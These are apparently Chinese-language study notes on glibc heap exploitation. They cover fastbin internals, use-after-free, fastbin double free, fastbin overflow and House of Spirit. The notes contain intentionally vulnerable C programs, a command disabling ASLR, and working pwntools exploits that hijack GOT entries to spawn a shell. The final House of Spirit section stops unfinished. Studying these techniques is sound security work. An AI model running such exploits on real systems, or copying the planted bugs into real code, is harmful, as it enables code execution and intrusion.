chunk的种类

  • fastbin <=128
  • smallbin <1024
  • largebin
  • mmap >=0x20000

关掉ASLR

# echo 0 > /proc/sys/kernel/randomize_va_space

malloc过程 代码

#include <stdio.h>
#include <stdlib.h>

void *Malloc(size_t sz){
	void *p = malloc(sz);
	printf("%p = malloc(%ld)\n",p,sz);
}

void Free(void *p){
	printf("free(%p)\n",p);
}

int main(){
	void *p,*q,*r,*s;
	p = malloc(150);
	q = malloc(150);
	r = malloc(150);
	s = malloc(150);
	free(p);
	free(r);
}

查看ld版本

ls -al /lib64/ld-linux-x86-64.so.2
lrwxrwxrwx 1 root root 10 10月 23 16:30 /lib64/ld-linux-x86-64.so.2 -> ld-2.17.so

ld版本要和libc版本一致

编译可debug的版本

gcc -g -z norelro -z execstack -o heap heap.c -Wl,--rpath=/root/sploitfun/gccwget/glibc-2.19/64/lib -Wl,--dynamic-linker=/root/sploitfun/gccwget/glibc-2.19/64/lib/ld-linux-x86-64.so.2

查看

ldd heap
	linux-vdso.so.1 =>  (0x00007ffe0d7c6000)
	libc.so.6 => /root/sploitfun/gccwget/glibc-2.19/64/lib/libc.so.6 (0x00007f1c094bb000)
	/root/sploitfun/gccwget/glibc-2.19/64/lib/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f1c0985c000)

现在就可以使用有debug symbol的libc

教程中使用的方法是export LD_LIBRARY_PATH=/root/sploitfun/gccwget/glibc-2.19/64/lib可是在我这里会造成段错误

或者vim a.out然后修改ld的地方

gdb ./heap
b main
r

查看main_arena结构

gdb-peda$ p main_arena
$1 = {
  mutex = 0x0, 
  flags = 0x0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x0, 
  last_remainder = 0x0, 
  bins = {0x0 <repeats 254 times>}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff7dd7620 <main_arena>, 
  next_free = 0x0, 
  system_mem = 0x0, 
  max_system_mem = 0x0

结构类似

main_arena{
	bin[0] (size=16) -> chunk1 -> chunk5
	bin[0] (size=32) -> chunk2 -> chunk3 -> chunk4 
	bin[0] (size=48)
}

使用ltrace查看某函数的调用

ltrace -e 'malloc+free+' ./heap
heap->malloc(150)                                                         = 0x601010
heap->malloc(150)                                                         = 0x6010b0
heap->malloc(150)                                                         = 0x601150
heap->malloc(150)                                                         = 0x6011f0
heap->free(0x601010)                                                      = <void>
heap->free(0x601150)                                                      = <void>
+++ exited (status 161) +++

UAF use-after-free

指的是free(=p)之后还继续使用它

ltrace -e 'malloc+free+' ./uaf
uaf->malloc(30)                                                           = 0x602010
uaf->malloc(30)                                                           = 0x602040
uaf->malloc(30)                                                           = 0x602070
uaf->malloc(30)                                                           = 0x6020a0
uaf->free(0x602010)                                                       = <void>
uaf->free(0x602040)                                                       = <void>
uaf->free(0x602010)                                                       = <void>
uaf->malloc(30)                                                           = 0x602010
uaf->malloc(30)                                                           = 0x602040
uaf->malloc(30)                                                           = 0x602010
uaf->malloc(30)                                                           = 0x602040
uaf->malloc(30)                                                           = 0x602010
uaf->malloc(30)                                                           = 0x602040

漏洞代码

#include <cstdio>
#include <cstdlib>
#include <cstring>

class A {
    public:
        virtual void print() {
            puts("class A");
        }
};

class B: public A {
    public:
        void print() {
            puts("Class B");
        }
};

void sh() {
    system("sh");
}

char buf[0x20];

int main() {
    setvbuf(stdout, 0, _IONBF, 0);

    A *p = new B();//malloc
    delete p;//free
    fgets(buf, sizeof(buf), stdin);
    char *q = strdup(buf);//malloc

    p->print();
}

编译

g++ uaf.cpp -o uaf -g

最终的exp

#!/usr/bin/env python
from pwn import *
p = process('./uaf')
elf = ELF('./uaf')
buf = elf.symbols['buf']
sh = elf.symbols['_Z2shv']	
# gdb.attach(p)
payload = (p64(buf + 8) + p64(sh)).ljust(0x20)
p.send(payload)
p.interactive()

最终的结果

 python uafexp.py 
[+] Starting local process './uaf': pid 1417
[*] '/root/sploitfun/w10/uaf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root)=0(root)

Fastbin

chunk size<= get_max_fast()的chunk,会被放在fastbin的bin里

  • 64位是128bytes,32位是64bytes
  • global_max_fast 一开始是0

随着size的大小,从32开始,最大到128

Fastbin是single linked list,只使用fd,以Null结尾,有free,但没有unlink

#include <stdio.h>
#include <stdlib.h>

void *Malloc(size_t sz){
	void *p = malloc(sz);
	printf("%p = malloc(%ld)\n",p,sz);
}

void Free(void *p){
	printf("free(%p)\n",p);
}

int main(){
	void *p,*q,*r,*s;
	p = malloc(30);
	q = malloc(30);
	r = malloc(30);
	s = malloc(30);
	free(p);
	free(q);
	free(p);
	malloc(30);
	malloc(30);
	malloc(30);
	malloc(30);
	malloc(30);
	malloc(30);
	malloc(30);
}

验证

ltrace ./uaf 
__libc_start_main(0x400619, 1, 0x7ffcd751f8f8, 0x4006c0 <unfinished ...>
malloc(30)                                                                                 = 0x12c0010
malloc(30)                                                                                 = 0x12c0040
malloc(30)                                                                                 = 0x12c0070
malloc(30)                                                                                 = 0x12c00a0
free(0x12c0010)                                                                            = <void>
free(0x12c0040)                                                                            = <void>
free(0x12c0010)                                                                            = <void>
malloc(30)                                                                                 = 0x12c0010
malloc(30)                                                                                 = 0x12c0040
malloc(30)                                                                                 = 0x12c0010
malloc(30)                                                                                 = 0x12c0040
malloc(30)                                                                                 = 0x12c0010
malloc(30)                                                                                 = 0x12c0040

fastbin double free

通过double free,弄成一个循环,然后修改第一个fd,使之malloc到我们想要修改的地方,然后修改之

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void sh(char *cmd) {
	system(cmd);
}


int main() {
	setvbuf(stdout, 0, _IONBF, 0);
	int cmd, idx, sz;
	char* ptr[10];
	memset(ptr, 0, sizeof(ptr));
	puts("1. malloc + gets\n2. free\n3. puts");
	while(1) {
		printf(">");
		scanf("%d %d", &cmd, &idx);
		idx %= 10;		//等价与idx = idx % 10
		if(cmd==1) {
			scanf("%d%*c", &sz);
			ptr[idx] = malloc(sz);
			// fgets(ptr[idx], sz, stdin);
			gets(ptr[idx]);
		} else if (cmd==2) {
			free(ptr[idx]);
		} else if (cmd==3) {
			puts(ptr[idx]);
		} else {
			exit(0);
		}
	}
	return 0;
}

编译

gcc -g -z norelro -z execstack -o fastbin fastbin.c -Wl,--rpath=/root/sploitfun/gccwget/glibc-2.19/64/lib -Wl,--dynamic-linker=/root/sploitfun/gccwget/glibc-2.19/64/lib/ld-linux-x86-64.so.2

运行一下

./fastbin 
1,malloc+ gets
2.free
3.puts
> 1 3
100
morty
> 3 3
morty

模仿连续double free

./fastbin 
1,malloc+ gets
2.free
3.puts
> 1 3
100
morty
> 2 3
> 2 3
*** Error in `./fastbin': double free or corruption (fasttop): 0x0000000001a18010 ***
已放弃

或者input放在文件中

cat input.txt 
1 0 s
1 1 q
2 1
2 1

管道输出

at input.txt | ./fastbin
1,malloc+ gets
2.free
3.puts
> > > > *** Error in `./fastbin': double free or corruption (fasttop): 0x0000000000601030 ***
已放弃

python方式写入

from pwn import *

r = remote('127.0.0.1',4000)

def cmd(x):
	r.recvuntil('>')
	r.send(x+'\n')
	
def malloc(i,s):
	cmd('1 %d %d\n%s' % (i,len(s),s))
	
def free(i):
	cmd('2 %d' % i)
	
raw_input('#')
malloc(0,'p')
malloc(1,'q')
free(0)
free(1)
free(0)

r.interactive()

free三次之后查看fastbin

gdb-peda$ p/x main_arena.fastbinsY
$10 = {0x601000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}

发现fastbin已经串起来了

gdb-peda$ x/4gx 0x601000
0x601000:	0x0000000000000000	0x0000000000000021
0x601010:	0x0000000000601020	0x0000000000000000
gdb-peda$ x/4gx 0x0000000000601020
0x601020:	0x0000000000000000	0x0000000000000021
0x601030:	0x0000000000601000	0x0000000000000000
gdb-peda$ x/4gx 0x0000000000601000
0x601000:	0x0000000000000000	0x0000000000000021
0x601010:	0x0000000000601020	0x0000000000000000

再次malloc一次,并填写数据,发现fd已经被改写

gdb-peda$ p/x main_arena.fastbinsY
$14 = {0x601020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ x/4gx 0x601020
0x601020:	0x0000000000000000	0x0000000000000021
0x601030:	0x0000000000601000	0x0000000000000000
gdb-peda$ x/4gx 0x0000000000601000
0x601000:	0x0000000000000000	0x0000000000000021
0x601010:	0x0000000061616161	0x0000000000000000

注意:

我们如果想要覆盖fd到然后再malloc过去,修改数据,需要malloc过的那个chunk的size要正确,我们可以指在没有调用过的GOT上,因为64为GOT为0x40*,那个0x40我们可以当作size来用,这也是唯一的检查 **exp: 首先vim a.out修改ld的位置,改到一个具有debug功能的libc

三次malloc之后,再次malloc,就获得了我们伪造的fastbin

gdb-peda$ x/4gx 0x60102a
0x60102a:       0x069600007ffff7aa      0xe9a0000000000040
0x60103a:       0xb65300007ffff7ab      0x53f400007ffff7a5

plt初代码如下,我们伪造的chunk在0x601030附近,通过malloc到0x601030附近的那个chunk,然后修改chunk,将malloc@GOT的值修改为system的地址

   0x4006a0 <system@plt>:	jmp    QWORD PTR [rip+0x20098a]        # 0x601030
   0x4006a6 <system@plt+6>:	push   0x3
   0x4006ab <system@plt+11>:	jmp    0x400660
   0x4006b0 <memset@plt>:	jmp    QWORD PTR [rip+0x200982]        # 0x601038
   0x4006b6 <memset@plt+6>:	push   0x4
   0x4006bb <memset@plt+11>:	jmp    0x400660
   0x4006c0 <__libc_start_main@plt>:	jmp    QWORD PTR [rip+0x20097a]        # 0x601040
   0x4006c6 <__libc_start_main@plt+6>:	push   0x5
   0x4006cb <__libc_start_main@plt+11>:	jmp    0x400660
   0x4006d0 <__gmon_start__@plt>:	jmp    QWORD PTR [rip+0x200972]        # 0x601048
   0x4006d6 <__gmon_start__@plt+6>:	push   0x6
   0x4006db <__gmon_start__@plt+11>:	jmp    0x400660
   0x4006e0 <gets@plt>:	jmp    QWORD PTR [rip+0x20096a]        # 0x601050
   0x4006e6 <gets@plt+6>:	push   0x7
   0x4006eb <gets@plt+11>:	jmp    0x400660
   0x4006f0 <malloc@plt>:	jmp    QWORD PTR [rip+0x200962]        # 0x601058

最终的exp

#!/usr/bin/env python
from pwn import *

p = process('./fastbin-double-free')
elf = ELF('./fastbin-double-free')
context.terminal = ['tmux', 'splitw', '-h']   #程序在在tmux中运行,

def cmd(x):
	p.recvuntil('>')
	p.sendline(x)

def malloc(i, size, s):
	cmd('1 {} {}\n{}'.format(str(i), str(size), s))

def free(i):
	cmd('2 {}'.format(str(i)))

sh = elf.symbols['sh']            # sh函数的地址   0x400816
system_got = elf.got['system']    # system got位置   0x601030
#plt位置    x/12gx 0x400680
malloc(0, 56, '\x00')
malloc(1, 56, '\x00')
free(0)
free(1)
free(0)
malloc(2, 56, p64(system_got - 6))    #伪造一个fastbin,让malloc三次获得
malloc(3, 56, '\x00')
malloc(4, 56, '\x00')
#gdb.attach(p)
#raw_input('#')
malloc(5, 56, 'sh' + '\x00' * 28 + p64(sh))   #再次malloc获得伪造的fastbin   其中p64(sh)覆盖到malloc的地址
malloc(6, system_got + 10, '\x00')            # system_got + 10的位置是"sh"字符串的地址,原本是malloc(size),现在是system("sh")
p.interactive()

最终的结果

python exp.py 
[+] Starting local process './fastbin-double-free': pid 14619
[*] '/home/winesap/2016/w11/fastbin-double-free/fastbin-double-free'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
0x400816
0x601030
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)

fastbin overflow

overflow到下一个fastbin的fd,然后再malloc到我们想要的地方,然后通过malloc中的数据修改我们想修改的内容,大致如下

								chunk4(overflow)
								///
								///
fastbin[0] ---> chunk1	  +---> chunk2	  +---> chunk3
					fd ---+		/// size  |			fd ---> NULL
								/// fd ---+
								///  .
								///  .
									 .......> arbitrary address

首先vim a.out修改ld的位置,改到一个具有debug功能的libc

查看接到第几个fastbin:(size/16)-2

malloc(56)的原因是让size为0x40

free()之后放在fastbin[2]中(56+8)/16-2

gdb-peda$ p main_arena.fastbinsY 
$7 = {0x0, 0x0, 0x601000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}

漏洞代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void sh(char *cmd) {
	system(cmd);
}

int main() {
	setvbuf(stdout, 0, _IONBF, 0);
	int cmd, idx, sz;
	char* ptr[10];
	memset(ptr, 0, sizeof(ptr));
	puts("1. malloc + gets\n2. free\n3. puts");
	while (1) {
		printf(">");
		scanf("%d %d", &cmd, &idx);
		idx %= 10;
		if (cmd==1) {
			scanf("%d%*c", &sz);
			ptr[idx] = malloc(sz);
			// fgets(ptr[idx], sz, stdin);
			gets(ptr[idx]);
		} else if (cmd==2) {
			free(ptr[idx]);
			ptr[idx] = 0;
		} else if (cmd==3) {
			puts(ptr[idx]);
		} else {
			exit(0);
		}
	}
	return 0;
}

编译

gcc fastbin-overflow.c -o fastbin-overflow -g

overflow之后,fastbin的情况如下

gdb-peda$ p main_arena.fastbinsY 
$1 = {0x0, 0x0, 0x602040, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ x/4gx 0x602040
0x602040:       0x0000000000000000      0x0000000000000041
0x602050:       0x000000000060102a      0x0000000000000000
gdb-peda$ x/4gx 0x000000000060102a
0x60102a:       0x069600007ffff7aa      0xe9a0000000000040
0x60103a:       0xb65300007ffff7ab      0x53f400007ffff7a5

plt情况如下

0x4006a0 <system@plt>:	jmp    QWORD PTR [rip+0x20098a]        # 0x601030
   0x4006a6 <system@plt+6>:	push   0x3
   0x4006ab <system@plt+11>:	jmp    0x400660
   0x4006b0 <memset@plt>:	jmp    QWORD PTR [rip+0x200982]        # 0x601038
   0x4006b6 <memset@plt+6>:	push   0x4
   0x4006bb <memset@plt+11>:	jmp    0x400660
   0x4006c0 <__libc_start_main@plt>:	jmp    QWORD PTR [rip+0x20097a]        # 0x601040
   0x4006c6 <__libc_start_main@plt+6>:	push   0x5
   0x4006cb <__libc_start_main@plt+11>:	jmp    0x400660
   0x4006d0 <__gmon_start__@plt>:	jmp    QWORD PTR [rip+0x200972]        # 0x601048
   0x4006d6 <__gmon_start__@plt+6>:	push   0x6
   0x4006db <__gmon_start__@plt+11>:	jmp    0x400660
   0x4006e0 <gets@plt>:	jmp    QWORD PTR [rip+0x20096a]        # 0x601050
   0x4006e6 <gets@plt+6>:	push   0x7
   0x4006eb <gets@plt+11>:	jmp    0x400660
   0x4006f0 <malloc@plt>:	jmp    QWORD PTR [rip+0x200962]        # 0x601058

最终的exp

#!/usr/bin/env python
from pwn import *

p = process('./fastbin-overflow')
elf = ELF('./fastbin-overflow')
context.terminal = ['tmux', 'splitw', '-h']  # 程序在在tmux中运行,


def cmd(x):
    p.recvuntil('>')
    p.sendline(x)


def malloc(i, size, s):
    cmd('1 {} {}\n{}'.format(str(i), str(size), s))


def free(i):
    cmd('2 {}'.format(str(i)))


def puts(i):
    cmd('3 {}'.format(str(i)))


system_got = elf.got['system']
sh = elf.symbols['sh']
malloc(0, 56, '\x00')
malloc(1, 56, '\x00')
free(1)
free(0)
malloc(2, 56, '\x00' * 56 + p64(0x41) + p64(system_got - 6))  # overflow出现在这里
gdb.attach(p)
raw_input('#')
malloc(3, 56, '\x00')                               #这个malloc调用出了p64(0x41) + p64(system_got - 6),这个chunk
payload = 'sh' + 28 * '\x00' + p64(sh)
malloc(4, 56, payload)                              #这个malloc出了伪造的chunk
malloc(4, system_got + 10, '\x00')                  #malloc函数地址被改成了system,malloc(size)变成了 system("sh")
p.interactive()

运行结果

python mortyexp.py 
[+] .tarting local process './fastbin-overflow-morty': pid 21224
[*] '/home/winesap/2016/w11/fastbin-overflow/fastbin-overflow-morty'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
#
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)

Free Arbitrary Address (House of Spirit)

我们可以free一个任意的chunk,那么我们就free那个构造好的chunk,这样再malloc的时候,就得到我们可控的malloc,大致如下

free(p);

fastbin[0] ---> chunk1	  +---> chunk2
					fd----+			fd ---> NULL
									 .
									 .
									 ......> arbitrary address (=p)

fastbin的free检查:1.对其 2.chunk size和next size 要合理(不能太小或太大),next chunk的size还要是inuse

漏洞代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char buf[128];
char *ptr[8];			//指针(本身长度为8),有8个
char *cmd;				//指针,指向输入的字符
int size;
int n = 0;

void sh(char *c) {
	system(c);
}

int main() {
	setvbuf(stdout, 0, _IONBF, 0);
	memset(ptr, 0, sizeof(ptr));		//将ptr置零
	cmd = buf;

	while (1) {
		fgets(cmd, sizeof(buf), stdin);//将输入放入buf中
		if (!strncmp(cmd, "push", 4)) {
			if (n<8) {
				scanf("%d%*c", &size);		//就是读取一个整数后,丢弃紧跟在整数后边的一个字符。
				ptr[n] = malloc(size);
				fgets(ptr[n], size, stdin);		//键盘中输入写入到ptr[n]中
				n++;
			} else {
				puts("stack is full");
			}
		} else if (! strncmp(cmd, "pop", 3)) {
			if (n>=0) {		
				n--;			//漏洞在这里,如果n=10 ,那么n-- 就会使n = -1
				puts(ptr[n]);	//打印这个要free的值,若n=-1使ptr[-1]指向了buf[128]中
				free(ptr[n]);	//然后我们就free了一个可控的地址,符合 house of sprited
				ptr[n] = 0;		//将指针置零
			} else {
				puts("stack is empty");
			}
		} else {
			puts("unknown command");
		}
	}
}

编译

gcc fastbin3.c -o fastbin3morty -g

同样是vim ./fastbin3morty改掉ld的位置,注意长度不能变

system地址

0000000000400690 <system@plt>:
  400690:       ff 25 9a 09 20 00       jmpq   *0x20099a(%rip)        # 601030 <system@GLIBC_2.2.5>
  400696:       68 03 00 00 00          pushq  $0x3
  40069b:       e9 b0 ff ff ff          jmpq   400650 <.plt>

plt地址

gdb-peda$ x/32i 0x400650
   0x400650:	push   QWORD PTR [rip+0x2009b2]        # 0x601008
   0x400656:	jmp    QWORD PTR [rip+0x2009b4]        # 0x601010
   0x40065c:	nop    DWORD PTR [rax+0x0]
   0x400660 <free@plt>:	jmp    QWORD PTR [rip+0x2009b2]        # 0x601018
   0x400666 <free@plt+6>:	push   0x0
   0x40066b <free@plt+11>:	jmp    0x400650
   0x400670 <strncmp@plt>:	jmp    QWORD PTR [rip+0x2009aa]        # 0x601020
   0x400676 <strncmp@plt+6>:	push   0x1
   0x40067b <strncmp@plt+11>:	jmp    0x400650
   0x400680 <puts@plt>:	jmp    QWORD PTR [rip+0x2009a2]        # 0x601028
   0x400686 <puts@plt+6>:	push   0x2
   0x40068b <puts@plt+11>:	jmp    0x400650
   0x400690 <system@plt>:	jmp    QWORD PTR [rip+0x20099a]        # 0x601030
   0x400696 <system@plt+6>:	push   0x3
   0x40069b <system@plt+11>:	jmp    0x400650
   0x4006a0 <memset@plt>:	jmp    QWORD PTR [rip+0x200992]        # 0x601038
   0x4006a6 <memset@plt+6>:	push   0x4
   0x4006ab <memset@plt+11>:	jmp    0x400650
   0x4006b0 <__libc_start_main@plt>:	jmp    QWORD PTR [rip+0x20098a]        # 0x601040
   0x4006b6 <__libc_start_main@plt+6>:	push   0x5
   0x4006bb <__libc_start_main@plt+11>:	jmp    0x400650
   0x4006c0 <fgets@plt>:	jmp    QWORD PTR [rip+0x200982]        # 0x601048
   0x4006c6 <fgets@plt+6>:	push   0x6
   0x4006cb <fgets@plt+11>:	jmp    0x400650
   0x4006d0 <malloc@plt>:	jmp    QWORD PTR [rip+0x20097a]        # 0x601050
   0x4006d6 <malloc@plt+6>:	push   0x7
   0x4006db <malloc@plt+11>:	jmp    0x400650

发现编译之后变量的位置不对,暂时跳过….

gdb-peda$ p &buf
$2 = (char (*)[128]) 0x601100 <buf>
gdb-peda$ p &ptr
$3 = (char *(*)[8]) 0x6010c0 <ptr>
gdb-peda$ p &cmd
$4 = (char **) 0x6010a8 <cmd>
gdb-peda$ p &size
$5 = (int *) 0x6010a0 <size>